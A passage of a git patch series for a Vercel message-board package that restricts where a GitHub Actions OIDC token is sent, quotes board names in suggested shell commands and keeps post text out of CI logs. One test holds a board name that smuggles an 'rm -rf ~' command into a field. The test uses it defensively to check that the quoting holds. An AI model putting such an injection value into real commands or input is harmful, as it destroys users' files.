`VERCEL_ORG_ID`, the one the deployment's OIDC * token names when that token is what goes, or the linked project's (the nearest * `.vercel/project.json`). A handed one that throws fails the request with what it threw: the - * app's own words, not an internal error. A GitHub Actions token names no team, so with none of - * these, it fails the request with how to name one. + * app's own words, not an internal error. */ async function team(): Promise { - const found = await teamFound() - if (found === null && asGithubActions()) - throw new HttpError(400, 'missing_team', "A GitHub Actions token names no Vercel team, so there's no team's board to use.", { - hint: 'Pass --scope , or set VERCEL_ORG_ID.', - origin: 'handle', - }) - return found -} - -async function teamFound(): Promise { if (handed) { try { return await handed() @@ -133,11 +124,33 @@ async function teamFound(): Promise { return null } +/** + * A request with the job's GitHub Actions token: only to Vercel's API, which the token is made out + * to, and only on a team the request names, since the token names none. Checked where the token + * is sent, so a `board({ fetch })` with credentials of its own is never held to it. + */ +async function withGithubActions(input: RequestInfo | URL, init: RequestInit): Promise { + const url = new URL(input instanceof Request ? input.url : String(input)) + if (!githubTokenGoesTo(url)) + throw new HttpError(400, 'wrong_audience', `A GitHub Actions token for Vercel's board goes only to ${new URL(GITHUB_AUDIENCE).origin}, not ${url.origin}.`, { + origin: 'handle', + }) + if (!url.searchParams.has('teamId') && !url.searchParams.has('slug')) + throw new HttpError(400, 'missing_team', "A GitHub Actions token names no Vercel team, so there's no team's board to use.", { + hint: 'Pass --scope , or set VERCEL_ORG_ID.', + origin: 'handle', + }) + const headers = new Headers(init.headers) + headers.set('authorization', `Bearer ${await githubToken()}`) + return globalThis.fetch(input, { ...init, headers }) +} + const environment: VercelEnvironment = { fetch: () => async (input, init = {}) => { + if (asGithubActions()) return withGithubActions(input, init) const credential = await token() // Your login goes through the fetch the CLI that runs board's hands it, which adds its own - // credentials. A deployment's token, BOARD_TOKEN, or a GitHub Actions token goes as it is. + // credentials. A deployment's token, or BOARD_TOKEN, goes as it is. if (asLogin()) return asYou(input, init, credential) const headers = new Headers(init.headers) headers.set('authorization', `Bearer ${credential}`) diff --git a/packages/board/test/vercel-github-actions.test.ts b/packages/board/test/vercel-github-actions.test.ts index fc70d679b..603ee4178 100644 --- a/packages/board/test/vercel-github-actions.test.ts +++ b/packages/board/test/vercel-github-actions.test.ts @@ -139,6 +139,28 @@ describe("a GitHub Actions job on Vercel's board", () => { expect((await board({ backend: nodeVercel() }).me()).principal).toBe('github:repo:700001') }) + it('holds only the requests it sends the token with to a team: a board({ fetch }) with credentials of its own uses their default team', async () => { + const api = fakeMessageboard({ tokens: { [RUN]: 'github:repo:700001' } }) + const { asked } = inActions(api) + const own = vi.fn(as(api, 'user:u_ada')) + await expect(board({ backend: nodeVercel({ fetch: own }) }).me()).resolves.toMatchObject({ principal: 'vercel:user:u_ada' }) + expect(own).toHaveBeenCalled() + expect(asked).toEqual([]) + }) + + it("never sends the job's token anywhere but Vercel's API, and never asks GitHub for one to send there", async () => { + const api = fakeMessageboard({ tokens: { [RUN]: 'github:repo:700001' } }) + const { asked, sent } = inActions(api) + vi.stubEnv('VERCEL_ORG_ID', 'team_test') + await expect(board({ backend: nodeVercel({ api: 'https://api.example.com' }) }).post('ci', 'deploy failed')).rejects.toMatchObject({ + status: 400, + code: 'wrong_audience', + origin: 'handle', + }) + expect(asked).toEqual([]) + expect(sent).toEqual([]) + }) + it("says why GitHub gave no token, as the handle's own error, not that Vercel's API didn't answer", async () => { const api = fakeMessageboard({ tokens: { [RUN]: 'github:repo:700001' } }) const { sent } = inActions(api, () => Response.json({ message: 'Unable to get ACTIONS_ID_TOKEN_REQUEST_URL env variable' }, { status: 403 })) From 40b333ed14d8c1f017fa5859214e24423bff283a Mon Sep 17 00:00:00 2001 From: Julian Benegas Date: Fri, 20 Nov 2026 10:24:09 -0300 Subject: [PATCH 04/12] docs(docs): name the team by slug or ID in GitHub Actions Vercel's API now takes a GitHub Actions run's team by slug as well as by ID, so the CI guide, the CLI reference, SPEC, and the missing-team hint say --scope . --- SPEC.md | 2 +- packages/board/docs/03-guides/03-ci.md | 7 +++---- packages/board/docs/04-reference/01-cli.md | 2 +- packages/board/src/backend-vercel/index.ts | 2 +- packages/board/test/vercel-github-actions.test.ts | 2 +- 5 files changed, 7 insertions(+), 8 deletions(-) diff --git a/SPEC.md b/SPEC.md index 2e0d6fd15..12914e35f 100644 --- a/SPEC.md +++ b/SPEC.md @@ -2050,7 +2050,7 @@ const reply = await team.wait({ re: msg.id, after: msg.id }, { timeout: '30m' }) command is, and a deployment's project or `BOARD_TOKEN` is `vb`'s to be. The team defaults to `VERCEL_ORG_ID`, the deployment's when its token is what goes, or `.vercel/project.json`'s. A GitHub token names no team, so with none of these a request fails before it's sent (`missing_team`): pass - `--scope ` or set `VERCEL_ORG_ID`. With `BOARD_URL` set (in Node), + `--scope ` or set `VERCEL_ORG_ID`. With `BOARD_URL` set (in Node), it's that board instead (on `http()`, internal), whatever the name: it sends a token in the order in [Tokens](#tokens), through Deployment Protection, and `board({ fetch })` never goes there. The default build, for diff --git a/packages/board/docs/03-guides/03-ci.md b/packages/board/docs/03-guides/03-ci.md index 7ebbd69b6..d8bd063b2 100644 --- a/packages/board/docs/03-guides/03-ci.md +++ b/packages/board/docs/03-guides/03-ci.md @@ -40,10 +40,9 @@ jobs: it as it is, so it's good for the team's boards and nothing else. Without `id-token: write`, GitHub gives the job no token, so there's nothing to send, and the step fails: you're not logged in to Vercel. -- **You name the team, by its ID.** A GitHub token names no Vercel team, so - `--scope` says whose board it is, or `VERCEL_ORG_ID` in `env:` with no - `--scope`. With no login there's no slug to look up, so it takes the team's - ID (`team_…`). With neither, the CLI says to pass one. +- **You name the team.** A GitHub token names no Vercel team, so `--scope` + says whose board it is, by its slug or its ID (`team_…`), or `VERCEL_ORG_ID` + in `env:` with no `--scope`. With neither, the CLI says to pass one. - **`--idempotency-key` makes a retried step post once.** The same ID with the same write returns the message already posted. - **The post is an ordinary thread.** If `errors-www` mirrors a Slack channel, diff --git a/packages/board/docs/04-reference/01-cli.md b/packages/board/docs/04-reference/01-cli.md index 7c857c3d3..a1b56f89d 100644 --- a/packages/board/docs/04-reference/01-cli.md +++ b/packages/board/docs/04-reference/01-cli.md @@ -276,7 +276,7 @@ itself. gets the deployment's OIDC token, or else `BOARD_TOKEN`, or else a GitHub Actions OIDC token made out to `https://api.vercel.com/v1/messageboard`, or else your Vercel login. A GitHub token names no Vercel team, so in Actions - `--scope ` or `VERCEL_ORG_ID` names it. + `--scope ` (its slug or ID) or `VERCEL_ORG_ID` names it. - **A board with no Vercel project has no token for your login to mint,** so a request goes to it with none. A board that names its callers another way takes it: one [behind Tailscale](../03-guides/08-tailnet.md), say. Any other diff --git a/packages/board/src/backend-vercel/index.ts b/packages/board/src/backend-vercel/index.ts index b46ae613c..e3f971329 100644 --- a/packages/board/src/backend-vercel/index.ts +++ b/packages/board/src/backend-vercel/index.ts @@ -137,7 +137,7 @@ async function withGithubActions(input: RequestInfo | URL, init: RequestInit): P }) if (!url.searchParams.has('teamId') && !url.searchParams.has('slug')) throw new HttpError(400, 'missing_team', "A GitHub Actions token names no Vercel team, so there's no team's board to use.", { - hint: 'Pass --scope , or set VERCEL_ORG_ID.', + hint: 'Pass --scope , or set VERCEL_ORG_ID.', origin: 'handle', }) const headers = new Headers(init.headers) diff --git a/packages/board/test/vercel-github-actions.test.ts b/packages/board/test/vercel-github-actions.test.ts index 603ee4178..dd1b9ea13 100644 --- a/packages/board/test/vercel-github-actions.test.ts +++ b/packages/board/test/vercel-github-actions.test.ts @@ -130,7 +130,7 @@ describe("a GitHub Actions job on Vercel's board", () => { code: 'missing_team', origin: 'handle', message: "A GitHub Actions token names no Vercel team, so there's no team's board to use.", - hint: 'Pass --scope , or set VERCEL_ORG_ID.', + hint: 'Pass --scope , or set VERCEL_ORG_ID.', }) expect(sent).toEqual([]) // A team named in code, or in the environment, is the board's. From 1cefea7e898caee6366ce6078e49695acd2a415e Mon Sep 17 00:00:00 2001 From: Julian Benegas Date: Fri, 20 Nov 2026 10:30:06 -0300 Subject: [PATCH 05/12] Revert "docs(docs): name the team by slug or ID in GitHub Actions" This reverts commit 40b333ed14d8c1f017fa5859214e24423bff283a. --- SPEC.md | 2 +- packages/board/docs/03-guides/03-ci.md | 7 ++++--- packages/board/docs/04-reference/01-cli.md | 2 +- packages/board/src/backend-vercel/index.ts | 2 +- packages/board/test/vercel-github-actions.test.ts | 2 +- 5 files changed, 8 insertions(+), 7 deletions(-) diff --git a/SPEC.md b/SPEC.md index 12914e35f..2e0d6fd15 100644 --- a/SPEC.md +++ b/SPEC.md @@ -2050,7 +2050,7 @@ const reply = await team.wait({ re: msg.id, after: msg.id }, { timeout: '30m' }) command is, and a deployment's project or `BOARD_TOKEN` is `vb`'s to be. The team defaults to `VERCEL_ORG_ID`, the deployment's when its token is what goes, or `.vercel/project.json`'s. A GitHub token names no team, so with none of these a request fails before it's sent (`missing_team`): pass - `--scope ` or set `VERCEL_ORG_ID`. With `BOARD_URL` set (in Node), + `--scope ` or set `VERCEL_ORG_ID`. With `BOARD_URL` set (in Node), it's that board instead (on `http()`, internal), whatever the name: it sends a token in the order in [Tokens](#tokens), through Deployment Protection, and `board({ fetch })` never goes there. The default build, for diff --git a/packages/board/docs/03-guides/03-ci.md b/packages/board/docs/03-guides/03-ci.md index d8bd063b2..7ebbd69b6 100644 --- a/packages/board/docs/03-guides/03-ci.md +++ b/packages/board/docs/03-guides/03-ci.md @@ -40,9 +40,10 @@ jobs: it as it is, so it's good for the team's boards and nothing else. Without `id-token: write`, GitHub gives the job no token, so there's nothing to send, and the step fails: you're not logged in to Vercel. -- **You name the team.** A GitHub token names no Vercel team, so `--scope` - says whose board it is, by its slug or its ID (`team_…`), or `VERCEL_ORG_ID` - in `env:` with no `--scope`. With neither, the CLI says to pass one. +- **You name the team, by its ID.** A GitHub token names no Vercel team, so + `--scope` says whose board it is, or `VERCEL_ORG_ID` in `env:` with no + `--scope`. With no login there's no slug to look up, so it takes the team's + ID (`team_…`). With neither, the CLI says to pass one. - **`--idempotency-key` makes a retried step post once.** The same ID with the same write returns the message already posted. - **The post is an ordinary thread.** If `errors-www` mirrors a Slack channel, diff --git a/packages/board/docs/04-reference/01-cli.md b/packages/board/docs/04-reference/01-cli.md index a1b56f89d..7c857c3d3 100644 --- a/packages/board/docs/04-reference/01-cli.md +++ b/packages/board/docs/04-reference/01-cli.md @@ -276,7 +276,7 @@ itself. gets the deployment's OIDC token, or else `BOARD_TOKEN`, or else a GitHub Actions OIDC token made out to `https://api.vercel.com/v1/messageboard`, or else your Vercel login. A GitHub token names no Vercel team, so in Actions - `--scope ` (its slug or ID) or `VERCEL_ORG_ID` names it. + `--scope ` or `VERCEL_ORG_ID` names it. - **A board with no Vercel project has no token for your login to mint,** so a request goes to it with none. A board that names its callers another way takes it: one [behind Tailscale](../03-guides/08-tailnet.md), say. Any other diff --git a/packages/board/src/backend-vercel/index.ts b/packages/board/src/backend-vercel/index.ts index e3f971329..b46ae613c 100644 --- a/packages/board/src/backend-vercel/index.ts +++ b/packages/board/src/backend-vercel/index.ts @@ -137,7 +137,7 @@ async function withGithubActions(input: RequestInfo | URL, init: RequestInit): P }) if (!url.searchParams.has('teamId') && !url.searchParams.has('slug')) throw new HttpError(400, 'missing_team', "A GitHub Actions token names no Vercel team, so there's no team's board to use.", { - hint: 'Pass --scope , or set VERCEL_ORG_ID.', + hint: 'Pass --scope , or set VERCEL_ORG_ID.', origin: 'handle', }) const headers = new Headers(init.headers) diff --git a/packages/board/test/vercel-github-actions.test.ts b/packages/board/test/vercel-github-actions.test.ts index dd1b9ea13..603ee4178 100644 --- a/packages/board/test/vercel-github-actions.test.ts +++ b/packages/board/test/vercel-github-actions.test.ts @@ -130,7 +130,7 @@ describe("a GitHub Actions job on Vercel's board", () => { code: 'missing_team', origin: 'handle', message: "A GitHub Actions token names no Vercel team, so there's no team's board to use.", - hint: 'Pass --scope , or set VERCEL_ORG_ID.', + hint: 'Pass --scope , or set VERCEL_ORG_ID.', }) expect(sent).toEqual([]) // A team named in code, or in the environment, is the board's. From a810ba47930b9a895ccc863efdc41b397b5832da Mon Sep 17 00:00:00 2001 From: Julian Benegas Date: Fri, 20 Nov 2026 11:42:28 -0300 Subject: [PATCH 06/12] fix(backend-vercel): quote a board's name in the grant a denial suggests --- packages/board/src/server/backend-vercel.ts | 6 ++++-- packages/board/test/messageboard.ts | 14 ++++++++------ packages/board/test/vercel-github-actions.test.ts | 9 +++++++++ 3 files changed, 21 insertions(+), 8 deletions(-) diff --git a/packages/board/src/server/backend-vercel.ts b/packages/board/src/server/backend-vercel.ts index 77408696e..4c3892f84 100644 --- a/packages/board/src/server/backend-vercel.ts +++ b/packages/board/src/server/backend-vercel.ts @@ -264,6 +264,8 @@ type Who = { profile: { name: string; avatar?: string } | null; can?: string } const PROFILE = /^[A-Za-z][A-Za-z0-9-]{0,31}$/ /** A GitHub repository as `owner/name`. */ const REPOSITORY = /^[A-Za-z0-9-]{1,39}\/[A-Za-z0-9._-]{1,100}$/ +/** A word of a hint's command as a shell reads it back: a board's name can hold anything but a `/`. */ +const shellWord = (word: string): string => (/^[\w@%+=:,.-]+$/.test(word) ? word : `'${word.replace(/'/g, `'\\''`)}'`) /** * What `vb` on this board calls in Vercel's API for what a sandboxed agent does, by method and path @@ -903,12 +905,12 @@ export function createVercel(options: VercelOptions, environment: VercelEnvironm const repository = principal.type === 'github' && REPOSITORY.test(principal.repository) ? principal.repository : null if (repository === null) return new HttpError(403, 'board_not_granted', `this workflow has no access to ${board}.`, { hint: 'Someone who manages the board can grant it.', origin: 'handle' }) return new HttpError(403, 'board_not_granted', `this workflow has no access to ${board} (${repository}).`, { - hint: `Grant it: vb grants create --github ${repository}${name === null ? '' : ` --name ${name}`} --can '*=read,post,react,label'`, + hint: `Grant it: vb grants create --github ${repository}${name === null ? '' : ` --name ${shellWord(name)}`} --can '*=read,post,react,label'`, origin: 'handle', }) } if (principal.type !== 'project') return new HttpError(403, 'board_not_granted', `this project has no access to ${board}.`, { hint: 'Someone who manages the board can grant it.', origin: 'handle' }) - const grant = `vb grants create --project ${principal.projectId} --environment ${principal.environment}${name === null ? '' : ` --name ${name}`} --can '*=read,post,react,label'` + const grant = `vb grants create --project ${principal.projectId} --environment ${principal.environment}${name === null ? '' : ` --name ${shellWord(name)}`} --can '*=read,post,react,label'` return new HttpError(403, 'board_not_granted', `this project has no access to ${board} (${principal.projectId}, ${principal.environment}).`, { hint: `Grant it: ${grant}`, origin: 'handle', diff --git a/packages/board/test/messageboard.ts b/packages/board/test/messageboard.ts index 03950e25a..12faebcd1 100644 --- a/packages/board/test/messageboard.ts +++ b/packages/board/test/messageboard.ts @@ -2702,13 +2702,15 @@ export function fakeMessageboard( const grantOf = (principal: Extract) => `${principal.projectId}:${principal.environment}` /** - * Who uses a board: a project, where it's granted in its environment; a person, a team-visible - * board, or a private one that lists them. + * Who uses a board: a project, where it's granted in its environment; a workflow, where it's + * granted by its principal; a person, a team-visible board, or a private one that lists them. */ - const mayUse = (actor: Actor, board: Kept) => - actor.principal.type === 'project' - ? board.granted === 'all' || board.granted.has(grantOf(actor.principal)) - : board.members === null || (actor.principal.type === 'user' && board.members.has(actor.principal.userId)) + const mayUse = (actor: Actor, board: Kept) => { + const { principal } = actor + if (principal.type === 'project') return board.granted === 'all' || board.granted.has(grantOf(principal)) + if (principal.type === 'github' || principal.type === 'oidc') return board.granted === 'all' || board.granted.has(principalId(principal)) + return board.members === null || (principal.type === 'user' && board.members.has(principal.userId)) + } const show = (board: Kept) => ({ id: board.id, teamId, name: board.name, visibility: board.members === null ? 'team' : 'private' }) const named = (name: string) => boards().some((board) => board.name.toLowerCase() === name.toLowerCase()) diff --git a/packages/board/test/vercel-github-actions.test.ts b/packages/board/test/vercel-github-actions.test.ts index 603ee4178..4af242a76 100644 --- a/packages/board/test/vercel-github-actions.test.ts +++ b/packages/board/test/vercel-github-actions.test.ts @@ -218,4 +218,13 @@ describe("workflows Vercel's API names", () => { }) expect(api.requests).not.toContain('POST /boards/default') }) + + it("quotes a board's name in the grant it suggests, so the command can't run what the name holds", async () => { + const name = "ops'; rm -rf ~ #" + const api = fakeMessageboard({ boards: [{ name }] }) + await expect(board({ name, backend: vercel({ team: 'team_test', api: API, fetch: as(api, callers.run.principal) }) }).post('ci', 'deploy failed')).rejects.toMatchObject({ + code: 'board_not_granted', + hint: `Grant it: vb grants create --github acme/web --name 'ops'\\''; rm -rf ~ #' --can '*=read,post,react,label'`, + }) + }) }) From 8434a7fdec68637368ea00a527848d5487bd846f Mon Sep 17 00:00:00 2001 From: Julian Benegas Date: Fri, 20 Nov 2026 11:42:28 -0300 Subject: [PATCH 07/12] fix(cli): say to add --scope without repeating the command when a GitHub Actions token names no team --- packages/board/src/cli/main.ts | 3 ++- packages/board/test/cli-embedded.test.ts | 7 +++++-- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/packages/board/src/cli/main.ts b/packages/board/src/cli/main.ts index 739698628..8f844c727 100644 --- a/packages/board/src/cli/main.ts +++ b/packages/board/src/cli/main.ts @@ -929,8 +929,9 @@ function failureOf(error: unknown): Failure { return own('permission', 'watchers_need_project') case 'missing_team': return { + // A CI log is read widely: this names the option without the command's text. ...own('missing_input', 'missing_scope', [ - { instruction: "Use a team's board", argv: rerun('--scope', '') }, + { instruction: "Use a team's board: add --scope " }, { instruction: 'Or set VERCEL_ORG_ID to its ID' }, ]), actionRequired: true, diff --git a/packages/board/test/cli-embedded.test.ts b/packages/board/test/cli-embedded.test.ts index 2e2e84ec3..3f4eb850b 100644 --- a/packages/board/test/cli-embedded.test.ts +++ b/packages/board/test/cli-embedded.test.ts @@ -1254,9 +1254,12 @@ describe('the embedded CLI', () => { expect(await run('post', 'ci', 'deploy failed', '--name', 'ops')).toEqual({ code: 2, stdout: '', - stderr: "error: A GitHub Actions token names no Vercel team, so there's no team's board to use.\n\n Use a team's board:\n vb post ci 'deploy failed' --name ops --scope \n Or set VERCEL_ORG_ID to its ID\n", + stderr: "error: A GitHub Actions token names no Vercel team, so there's no team's board to use.\n\n Use a team's board: add --scope \n Or set VERCEL_ORG_ID to its ID\n", }) - expect(JSON.parse((await run('post', 'ci', 'deploy failed', '--name', 'ops', '--json')).stderr)).toMatchObject({ status: 'action_required', reason: 'missing_scope' }) + // The job's log never repeats what it was about to post. + const { stderr } = await run('post', 'ci', 'deploy failed', '--name', 'ops', '--json') + expect(JSON.parse(stderr)).toMatchObject({ status: 'action_required', reason: 'missing_scope' }) + expect(stderr).not.toContain('deploy failed') // A token Vercel's API doesn't take: no login in the job to log in again with. vi.stubEnv('VERCEL_ORG_ID', 'team_test') vi.stubEnv('ACTIONS_ID_TOKEN_REQUEST_TOKEN', 'request-for-another-job') From b0f91ef21c569be131b4cbde1783aed8eac4a414 Mon Sep 17 00:00:00 2001 From: Julian Benegas Date: Fri, 20 Nov 2026 11:46:07 -0300 Subject: [PATCH 08/12] fix(backend-vercel): name the team in the grant a denial suggests --- packages/board/src/server/backend-vercel.ts | 20 +++++++++++-------- packages/board/test/backend-vercel.test.ts | 4 ++-- packages/board/test/cli-embedded.test.ts | 4 ++-- .../board/test/vercel-github-actions.test.ts | 4 ++-- 4 files changed, 18 insertions(+), 14 deletions(-) diff --git a/packages/board/src/server/backend-vercel.ts b/packages/board/src/server/backend-vercel.ts index 4c3892f84..07921272f 100644 --- a/packages/board/src/server/backend-vercel.ts +++ b/packages/board/src/server/backend-vercel.ts @@ -875,7 +875,8 @@ export function createVercel(options: VercelOptions, environment: VercelEnvironm // the few older boards that share one, the API lists the oldest first, and that's the one. const { boards } = await api<{ boards: { id: string; name: string }[] }>(who, 'GET', '/boards', { query: { name } }) if (boards[0]) return boards[0].id - const { principal } = (await self(who)).actor + const me = await self(who) + const { principal } = me.actor if (binding?.ensure === false) throw new HttpError(404, 'no_board', `no board named ${name} on this team, or none you can see.`, { hint: 'Check the name, or make it: leave out ensure: false', @@ -885,7 +886,7 @@ export function createVercel(options: VercelOptions, environment: VercelEnvironm const { board: made } = await api<{ board: { id: string }; created: boolean }>(who, 'POST', '/boards/ensure', { body: { name, operationId: operationId() } }) return made.id } catch (error) { - if (error instanceof HttpError && error.code === 'board_not_granted') throw notLetIn(name, principal) + if (error instanceof HttpError && error.code === 'board_not_granted') throw notLetIn(name, principal, me.teamId) // Names are unique across the team's boards, private ones included: this one is someone else's to show. if (error instanceof HttpError && error.code === 'board_name_taken') throw new HttpError(409, 'board_name_taken', `the board name ${name} is taken.`, { hint: 'Pick another name, or ask whoever can see it for access.', origin: 'handle' }) @@ -896,21 +897,23 @@ export function createVercel(options: VercelOptions, environment: VercelEnvironm /** * A project a board's grants don't let in, the one `name`s or the team's (null): they were narrowed, * since every project on the team gets in by default. Its way out is the grant that lets it back in, - * naming the project by ID, since `/me` carries no name. + * naming the project by ID, since `/me` carries no name, and the team, so it can't land on the + * board of whichever team the person who runs it is linked to. */ - const notLetIn = (name: string | null, principal: ApiPrincipal) => { + const notLetIn = (name: string | null, principal: ApiPrincipal, team: string) => { const board = name === null ? "the team's board" : `board ${name}` + const on = `${name === null ? '' : ` --name ${shellWord(name)}`} --scope ${shellWord(team)}` if (principal.type === 'github' || principal.type === 'oidc') { // A repository the API names goes into the command only when it's one. const repository = principal.type === 'github' && REPOSITORY.test(principal.repository) ? principal.repository : null if (repository === null) return new HttpError(403, 'board_not_granted', `this workflow has no access to ${board}.`, { hint: 'Someone who manages the board can grant it.', origin: 'handle' }) return new HttpError(403, 'board_not_granted', `this workflow has no access to ${board} (${repository}).`, { - hint: `Grant it: vb grants create --github ${repository}${name === null ? '' : ` --name ${shellWord(name)}`} --can '*=read,post,react,label'`, + hint: `Grant it: vb grants create --github ${repository}${on} --can '*=read,post,react,label'`, origin: 'handle', }) } if (principal.type !== 'project') return new HttpError(403, 'board_not_granted', `this project has no access to ${board}.`, { hint: 'Someone who manages the board can grant it.', origin: 'handle' }) - const grant = `vb grants create --project ${principal.projectId} --environment ${principal.environment}${name === null ? '' : ` --name ${shellWord(name)}`} --can '*=read,post,react,label'` + const grant = `vb grants create --project ${principal.projectId} --environment ${principal.environment}${on} --can '*=read,post,react,label'` return new HttpError(403, 'board_not_granted', `this project has no access to ${board} (${principal.projectId}, ${principal.environment}).`, { hint: `Grant it: ${grant}`, origin: 'handle', @@ -931,9 +934,10 @@ export function createVercel(options: VercelOptions, environment: VercelEnvironm ? boardNamed(who, boardName()!) : api<{ defaultBoardId: string | null }>(who, 'GET', '/boards').then(async ({ defaultBoardId }) => { if (defaultBoardId) return defaultBoardId - const { principal } = (await self(who)).actor + const me = await self(who) + const { principal } = me.actor // A deployment or a workflow the API names no board to isn't let in, and makes none. - if (principal.type === 'project' || principal.type === 'github' || principal.type === 'oidc') throw notLetIn(null, principal) + if (principal.type === 'project' || principal.type === 'github' || principal.type === 'oidc') throw notLetIn(null, principal, me.teamId) const { board: made } = await api<{ board: { id: string } }>(who, 'POST', '/boards/default', { body: { operationId: operationId() } }) return made.id })).catch((error: unknown) => { diff --git a/packages/board/test/backend-vercel.test.ts b/packages/board/test/backend-vercel.test.ts index 38f96e98e..0adadad0f 100644 --- a/packages/board/test/backend-vercel.test.ts +++ b/packages/board/test/backend-vercel.test.ts @@ -1318,7 +1318,7 @@ describe('vercel()', () => { status: 403, code: 'board_not_granted', message: "this project has no access to the team's board (prj_pong, production).", - hint: "Grant it: vb grants create --project prj_pong --environment production --can '*=read,post,react,label'", + hint: "Grant it: vb grants create --project prj_pong --environment production --scope team_test --can '*=read,post,react,label'", }) const api = fakeMessageboard({ boardId: null }) await handleOn(api).post('dev', { text: 'hello' }) @@ -1439,7 +1439,7 @@ describe('vercel()', () => { code: 'board_not_granted', origin: 'handle', message: 'this project has no access to board security (prj_pong, preview).', - hint: "Grant it: vb grants create --project prj_pong --environment preview --name security --can '*=read,post,react,label'", + hint: "Grant it: vb grants create --project prj_pong --environment preview --name security --scope team_test --can '*=read,post,react,label'", }) }) diff --git a/packages/board/test/cli-embedded.test.ts b/packages/board/test/cli-embedded.test.ts index 3f4eb850b..3cdd961dc 100644 --- a/packages/board/test/cli-embedded.test.ts +++ b/packages/board/test/cli-embedded.test.ts @@ -1057,11 +1057,11 @@ describe('the embedded CLI', () => { }) expect(await run('read', 'dev', '--name', 'security', '--ensure')).toMatchObject({ code: 1, - stderr: "error: this project has no access to board security (prj_pong, preview).\n\n Grant it: vb grants create --project prj_pong --environment preview --name security --can '*=read,post,react,label'\n", + stderr: "error: this project has no access to board security (prj_pong, preview).\n\n Grant it: vb grants create --project prj_pong --environment preview --name security --scope team_test --can '*=read,post,react,label'\n", }) expect(await run('read', 'dev')).toMatchObject({ code: 1, - stderr: "error: this project has no access to the team's board (prj_pong, preview).\n\n Grant it: vb grants create --project prj_pong --environment preview --can '*=read,post,react,label'\n", + stderr: "error: this project has no access to the team's board (prj_pong, preview).\n\n Grant it: vb grants create --project prj_pong --environment preview --scope team_test --can '*=read,post,react,label'\n", }) } finally { fetching.mockRestore() diff --git a/packages/board/test/vercel-github-actions.test.ts b/packages/board/test/vercel-github-actions.test.ts index 4af242a76..902064f3d 100644 --- a/packages/board/test/vercel-github-actions.test.ts +++ b/packages/board/test/vercel-github-actions.test.ts @@ -214,7 +214,7 @@ describe("workflows Vercel's API names", () => { code: 'board_not_granted', origin: 'handle', message: "this workflow has no access to the team's board (acme/web).", - hint: "Grant it: vb grants create --github acme/web --can '*=read,post,react,label'", + hint: "Grant it: vb grants create --github acme/web --scope team_test --can '*=read,post,react,label'", }) expect(api.requests).not.toContain('POST /boards/default') }) @@ -224,7 +224,7 @@ describe("workflows Vercel's API names", () => { const api = fakeMessageboard({ boards: [{ name }] }) await expect(board({ name, backend: vercel({ team: 'team_test', api: API, fetch: as(api, callers.run.principal) }) }).post('ci', 'deploy failed')).rejects.toMatchObject({ code: 'board_not_granted', - hint: `Grant it: vb grants create --github acme/web --name 'ops'\\''; rm -rf ~ #' --can '*=read,post,react,label'`, + hint: `Grant it: vb grants create --github acme/web --name 'ops'\\''; rm -rf ~ #' --scope team_test --can '*=read,post,react,label'`, }) }) }) From 7e28daa4e46bbd966bdf729acf1b40ad2040ae75 Mon Sep 17 00:00:00 2001 From: "vercel[bot]" <35613825+vercel[bot]@users.noreply.github.com> Date: Fri, 20 Nov 2026 15:08:58 +0000 Subject: [PATCH 09/12] fix(backend-vercel): send VERCEL_AUTH_TOKEN ahead of a GitHub Actions job's OIDC token A job with id-token: write often has it for something else (npm provenance, cloud OIDC), so a workflow that already sets VERCEL_AUTH_TOKEN keeps acting as that login. Co-authored-by: Julian Benegas <40034115+julianbenegas@users.noreply.github.com> --- .changeset/vercel-board-github-oidc.md | 2 +- SPEC.md | 10 +++++----- packages/board/docs/01-board/01-mounting.md | 13 ++++++------- packages/board/docs/03-guides/03-ci.md | 4 ++-- packages/board/docs/04-reference/01-cli.md | 4 ++-- packages/board/src/backend-vercel/index.ts | 15 +++++++++------ packages/board/test/vercel-github-actions.test.ts | 11 +++++++---- 7 files changed, 32 insertions(+), 27 deletions(-) diff --git a/.changeset/vercel-board-github-oidc.md b/.changeset/vercel-board-github-oidc.md index b86e65ffa..d3bc521b7 100644 --- a/.changeset/vercel-board-github-oidc.md +++ b/.changeset/vercel-board-github-oidc.md @@ -2,6 +2,6 @@ '@vercel/board': minor --- -On Vercel's board, a GitHub Actions job goes as its own OIDC token, with no secret to store. In a job with `permissions: id-token: write`, the CLI and `board()` ask GitHub for a token made out to `https://api.vercel.com/v1/messageboard` and send it as a Bearer token: after the login of an app that runs board's CLI, the deployment's OIDC token, and `BOARD_TOKEN`, and before `vercel login`. `vb whoami` says `source GitHub Actions OIDC`. A GitHub token names no team, so `--scope ` or `VERCEL_ORG_ID` names it; with neither, a request fails before it's sent with `missing_team` (reason `missing_scope` in the CLI). A 401 to that token says to pass one in `BOARD_TOKEN`, not to log in. +On Vercel's board, a GitHub Actions job goes as its own OIDC token, with no secret to store. In a job with `permissions: id-token: write`, the CLI and `board()` ask GitHub for a token made out to `https://api.vercel.com/v1/messageboard` and send it as a Bearer token: after the login of an app that runs board's CLI, the deployment's OIDC token, `BOARD_TOKEN`, and `VERCEL_AUTH_TOKEN`, and before `vercel login`, so a workflow that already sets `VERCEL_AUTH_TOKEN` keeps acting as that login. `vb whoami` says `source GitHub Actions OIDC`. A GitHub token names no team, so `--scope ` or `VERCEL_ORG_ID` names it; with neither, a request fails before it's sent with `missing_team` (reason `missing_scope` in the CLI). A 401 to that token says to pass one in `BOARD_TOKEN`, not to log in. `vb grants create`, `update`, and `explain` with `--github` or `--oidc` go to Vercel's API, which takes them: `vb grants create --github acme/www --git-branch main --can 'ci/=post'`. An API that still refuses one is said in its own words, with no hint of the handle's about apps or exchange policies. A run writes as `github:repo:`, with its repository as its handle, and another issuer's caller as `oidc::`, with its `sub`; both are of kind `workflow`. One the team's board doesn't let in is told the grant that would, and makes no board. diff --git a/SPEC.md b/SPEC.md index 792ae0508..31a30f9b8 100644 --- a/SPEC.md +++ b/SPEC.md @@ -22,7 +22,7 @@ team. With `BOARD_URL` set, in Node, it's the board at that URL instead (`http()`, internal too: `src/server/backend-http.ts`), which is `vb serve`'s. Neither backend is exported: people write `board()`. In a Vercel deployment it authenticates with the deployment's OIDC token, and -elsewhere with `BOARD_TOKEN`, a GitHub Actions job's OIDC token, or the Vercel CLI's login, never `VERCEL_TOKEN`. Vercel's API keeps +elsewhere with `BOARD_TOKEN`, `VERCEL_AUTH_TOKEN`, a GitHub Actions job's OIDC token, or `vercel login`, never `VERCEL_TOKEN`. Vercel's API keeps the board: messages, threads, reactions, labels, a channel's changes, schedules, files, and watchers, whose matches it wakes the deployment to run. It doesn't run sync yet: `board({ sync })` on it throws when it binds. @@ -2040,10 